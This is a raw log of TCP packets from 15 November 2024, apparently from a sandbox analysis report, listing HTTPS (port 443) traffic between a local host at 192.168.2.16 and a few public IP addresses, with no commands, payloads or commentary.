Nov 15, 2024 11:24:47.247342110 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.247374058 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.247462988 CET	443	49810	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:47.247514009 CET	49810	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.247859955 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.247915983 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:47.248004913 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.248245955 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:47.248275042 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:47.262844086 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.262886047 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.263027906 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.263027906 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.263093948 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.263148069 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.263787985 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.263853073 CET	443	49808	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.263916969 CET	49808	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.264240026 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.264251947 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.264313936 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.264497042 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.264508963 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.673787117 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.673820019 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.673854113 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.673870087 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.673877954 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.673927069 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.674160957 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.674206018 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.674211025 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.674246073 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.674628019 CET	49809	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.674640894 CET	443	49809	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.675285101 CET	49815	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.675374985 CET	443	49815	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.675939083 CET	49815	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.676078081 CET	49815	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:47.676104069 CET	443	49815	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:47.857202053 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:47.857285023 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:47.857588053 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:47.857588053 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:47.857717991 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.090379000 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.090509892 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.091471910 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.091542959 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.094718933 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.094748974 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.095273018 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.097462893 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.097901106 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.102587938 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.102684021 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.103843927 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.103919983 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.105407953 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.105432034 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.105787992 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.105849028 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.106208086 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.120302916 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.120382071 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.120645046 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.120671034 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.120775938 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.120790005 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.139342070 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.147336960 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.476676941 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.476778030 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.476841927 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.476950884 CET	443	49811	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.477021933 CET	49811	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477087021 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.477160931 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477194071 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.477256060 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477287054 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477356911 CET	443	49812	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.477406025 CET	49819	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477407932 CET	49812	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477437973 CET	443	49819	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.477499962 CET	49819	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477649927 CET	49820	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477739096 CET	443	49820	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.477792025 CET	49819	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477803946 CET	443	49819	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.477813005 CET	49820	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.477986097 CET	49820	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.478018045 CET	443	49820	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.559452057 CET	443	49815	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.559545994 CET	49815	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.560092926 CET	49815	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.560125113 CET	443	49815	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.561778069 CET	49815	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.561805964 CET	443	49815	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.607620955 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.608299017 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:48.608376980 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.609390020 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:48.609405041 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.661601067 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.661818027 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.661835909 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.661906004 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.661938906 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.661963940 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.661976099 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.662025928 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.662792921 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.662864923 CET	443	49813	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.662923098 CET	49813	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.663383961 CET	49821	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.663470030 CET	443	49821	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.663577080 CET	49821	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.663794994 CET	49821	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.663827896 CET	443	49821	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.738778114 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.738797903 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.738904953 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.738970041 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:48.738970041 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:48.739191055 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:48.739212990 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.739228964 CET	49816	443	192.168.2.16	13.107.246.45
Nov 15, 2024 11:24:48.739236116 CET	443	49816	13.107.246.45	192.168.2.16
Nov 15, 2024 11:24:48.784903049 CET	49815	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.784918070 CET	49820	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.784918070 CET	49821	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.785022020 CET	49819	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.785331964 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.785406113 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.785417080 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.785423040 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.785475969 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.785525084 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.785571098 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.785602093 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.785618067 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.943044901 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.943069935 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:48.943135023 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:48.943145037 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:48.943165064 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:48.943202019 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.800534964 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:49.800710917 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:49.802793026 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:49.802803993 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:49.803138018 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:49.803190947 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:49.803755045 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:49.811196089 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.811271906 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.811944962 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.812002897 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.813954115 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.813958883 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.814261913 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.814313889 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.814739943 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.818691969 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.818777084 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.821527004 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.821593046 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.825608015 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.825628042 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.826052904 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.826109886 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.826601982 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:49.847341061 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:49.855344057 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:49.871340036 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.182585001 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.182774067 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.182801008 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.182857037 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.182935953 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.182975054 CET	443	49823	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.183033943 CET	49823	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.183590889 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.183681965 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.183778048 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.184021950 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.184041023 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.185291052 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.185312033 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:50.185379982 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.185619116 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.185643911 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:50.196460962 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:50.196548939 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.196557999 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:50.196599007 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.196656942 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:50.196721077 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.196751118 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:50.196801901 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.197453022 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.197551966 CET	443	49822	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:50.197613955 CET	49822	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.200412989 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.200488091 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.200514078 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.200561047 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.200593948 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.200691938 CET	443	49824	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.200742006 CET	49824	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.201036930 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.201059103 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.201124907 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.201173067 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.201258898 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:50.201322079 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.201359034 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:50.201381922 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:50.201642990 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:50.201677084 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.194998980 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.195120096 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.195780039 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.195849895 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.195914984 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.195976019 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.198468924 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.198494911 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.198848963 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.198911905 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.199431896 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.200223923 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.200234890 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.200619936 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.200695038 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.200851917 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.200928926 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.201025963 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.201268911 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.201364994 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.201922894 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.201980114 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.203051090 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.203078032 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.203376055 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.203386068 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.203603029 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.203691006 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.203803062 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.203874111 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.204010010 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.204237938 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.243369102 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.243375063 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.247350931 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.247375965 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.563723087 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.563931942 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.563997984 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.564062119 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.564133883 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.564198971 CET	443	49827	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.564260960 CET	49827	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.564872980 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.564974070 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.565073013 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.565361977 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.565382957 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.582304001 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.582382917 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.582403898 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.582556009 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.582556009 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.582657099 CET	443	49825	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.582721949 CET	49825	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.583000898 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.583072901 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.583148956 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.583389997 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:51.583424091 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:51.670954943 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.671041012 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.671071053 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.671124935 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.671139002 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.671186924 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.671199083 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.671247005 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.672348976 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.672465086 CET	443	49826	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.672533035 CET	49826	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.672875881 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.672905922 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.672971010 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.673187017 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.673192978 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.835242033 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.835406065 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.835438013 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.835479021 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.835505962 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.835530043 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.835544109 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.835597992 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.836057901 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.836350918 CET	443	49828	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.836424112 CET	49828	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.836639881 CET	49833	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.836708069 CET	443	49833	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:51.836842060 CET	49833	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.837096930 CET	49833	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:51.837112904 CET	443	49833	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.447487116 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.447607994 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.448131084 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.448196888 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.451271057 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.451303005 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.451564074 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.451618910 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.451983929 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.459026098 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.459121943 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.461725950 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.461806059 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.462976933 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.462994099 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.463507891 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.463567019 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.463835001 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.495342970 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.507339001 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.526002884 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.526089907 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.527273893 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.527283907 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.528244972 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.528311014 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.528637886 CET	49832	443	192.168.2.16	142.250.185.65
